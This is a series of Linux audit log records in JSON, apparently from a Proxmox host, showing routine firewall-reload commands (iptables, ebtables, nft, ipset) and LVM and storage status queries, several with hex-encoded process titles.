{"@timestamp":1781964455380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.380:61104): proctitle=\"ip6tables-save\""} {"@timestamp":1781965177071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965177.071:64504): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964455369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.369:61103): proctitle=\"iptables-save\""} {"@timestamp":1781965175575,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.575:64501): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964455361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.361:61102): proctitle=\"ip6tables-save\""} {"@timestamp":1781965175567,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.567:64500): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964455351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.351:61101): proctitle=\"iptables-save\""} {"@timestamp":1781965175564,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.564:64499): argc=1 a0=\"date\""} {"@timestamp":1781964455348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.348:61100): proctitle=\"ebtables-restore\""} {"@timestamp":1781965175559,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.559:64497): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964455346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.346:61099): proctitle=\"ebtables-restore\""} {"@timestamp":1781965175550,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.550:64496): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.340:61098): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965175543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.543:64495): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964455335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.335:61097): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965175534,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.534:64494): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.330:61096): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965175519,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.519:64493): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964455325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.325:61095): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965175511,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.511:64491): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964455320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.320:61094): proctitle=697073657400726573746F7265"} {"@timestamp":1781965175503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.503:64490): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964455313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.313:61093): proctitle=\"ip6tables-save\""} {"@timestamp":1781965175496,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.496:64489): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964455307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.307:61092): proctitle=\"iptables-save\""} {"@timestamp":1781965175488,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.488:64488): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964455303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.303:61091): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965175483,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.483:64487): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.299:61090): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965175474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.474:64486): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.299:61089): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965175466,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.466:64485): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.299:61088): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965175460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.460:64484): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964455294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.294:61087): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965175456,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.456:64483): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964455286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.286:61086): proctitle=\"ip6tables-save\""} {"@timestamp":1781965175452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.452:64482): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964455278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.278:61085): proctitle=\"iptables-save\""} {"@timestamp":1781965175452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.452:64481): argc=1 a0=\"date\""} {"@timestamp":1781964455274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.274:61084): proctitle=69707365740073617665"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.446:64479): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964455267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.267:61083): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965175438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.438:64478): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964455260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964455.260:61082): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965175430,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.430:64477): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.431:61081): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965175426,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.426:64476): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.431:61080): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965175417,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.417:64475): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964454431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.431:61079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965175408,"@rawstring":"node=pve type=EXECVE msg=audit(1781965175.408:64474): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.423:61077): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965174321,"@rawstring":"node=pve type=EXECVE msg=audit(1781965174.321:64473): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964454421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.421:61078): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965174297,"@rawstring":"node=pve type=EXECVE msg=audit(1781965174.297:64472): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.423:61076): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=EXECVE msg=audit(1781965172.063:64471): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964454423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.423:61075): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=EXECVE msg=audit(1781965172.050:64468): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964454394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964454.394:61074): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965167.043:64465): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.412:61073): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=EXECVE msg=audit(1781965167.036:64462): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.412:61072): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965165388,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.388:64459): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964449412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.412:61071): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.385:64458): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.405:61070): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.385:64457): argc=1 a0=\"date\""} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.405:61069): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.380:64455): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964449405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964449.405:61068): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965165372,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.372:64454): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.248:61067): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965165366,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.366:64453): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.245:61066): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965165356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.356:64452): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.244:61065): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965165350,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.350:64451): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.244:61064): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965165344,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.344:64449): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964445239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.239:61063): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965165339,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.339:64448): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964445232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.232:61062): proctitle=\"ip6tables-save\""} {"@timestamp":1781965165334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.334:64447): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964445225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.225:61061): proctitle=\"iptables-save\""} {"@timestamp":1781965165328,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.328:64446): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964445217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.217:61060): proctitle=\"ip6tables-save\""} {"@timestamp":1781965165322,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.322:64445): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964445210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.210:61059): proctitle=\"iptables-save\""} {"@timestamp":1781965165316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.316:64444): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964445207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.207:61058): proctitle=\"ebtables-restore\""} {"@timestamp":1781965165309,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.309:64443): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.205:61057): proctitle=\"ebtables-restore\""} {"@timestamp":1781965165300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.300:64442): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.200:61056): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965165298,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.298:64441): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964445195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.195:61055): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965165292,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.292:64440): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964445189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.189:61054): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.290:64439): argc=1 a0=\"date\""} {"@timestamp":1781964445180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.180:61053): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.286:64437): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964445175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.175:61052): proctitle=697073657400726573746F7265"} {"@timestamp":1781965165278,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.278:64436): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.168:61051): proctitle=\"ip6tables-save\""} {"@timestamp":1781965165270,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.270:64435): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.162:61050): proctitle=\"iptables-save\""} {"@timestamp":1781965165266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.266:64434): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964445159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.159:61049): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965165257,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.257:64433): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964445156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.156:61048): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965165250,"@rawstring":"node=pve type=EXECVE msg=audit(1781965165.250:64432): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964445155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.155:61047): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965164197,"@rawstring":"node=pve type=EXECVE msg=audit(1781965164.197:64431): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964445155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.155:61046): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965164173,"@rawstring":"node=pve type=EXECVE msg=audit(1781965164.173:64430): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964445151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.151:61045): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965162.029:64429): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.145:61044): proctitle=\"ip6tables-save\""} {"@timestamp":1781965162022,"@rawstring":"node=pve type=EXECVE msg=audit(1781965162.022:64426): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.138:61043): proctitle=\"iptables-save\""} {"@timestamp":1781965161723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965161.723:64423): argc=6 a0=\"/usr/bin/perl\" a1=\"/usr/sbin/pvesm\" a2=\"list\" a3=\"local\" a4=\"--vmid\" a5=\"877\""} {"@timestamp":1781964445133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.133:61042): proctitle=69707365740073617665"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=EXECVE msg=audit(1781965157.010:64422): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.126:61041): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=EXECVE msg=audit(1781965157.001:64419): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964445.119:61040): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965155233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.233:64416): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.393:61039): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155230,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.230:64415): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.393:61038): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.228:64414): argc=1 a0=\"date\""} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.393:61037): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.224:64412): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.385:61036): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155217,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.217:64411): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.385:61035): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155208,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.208:64410): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.385:61034): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155200,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.200:64409): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964444320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.320:61033): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965155192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.192:64408): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964444275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964444.275:61032): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965155186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.186:64406): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.376:61031): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155181,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.181:64405): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.376:61030): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155175,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.175:64404): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.376:61029): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.170:64403): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.361:61028): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155162,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.162:64402): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.361:61027): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155156,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.156:64401): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964439.361:61026): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965155148,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.148:64400): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.111:61025): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965155141,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.141:64399): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.108:61024): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} 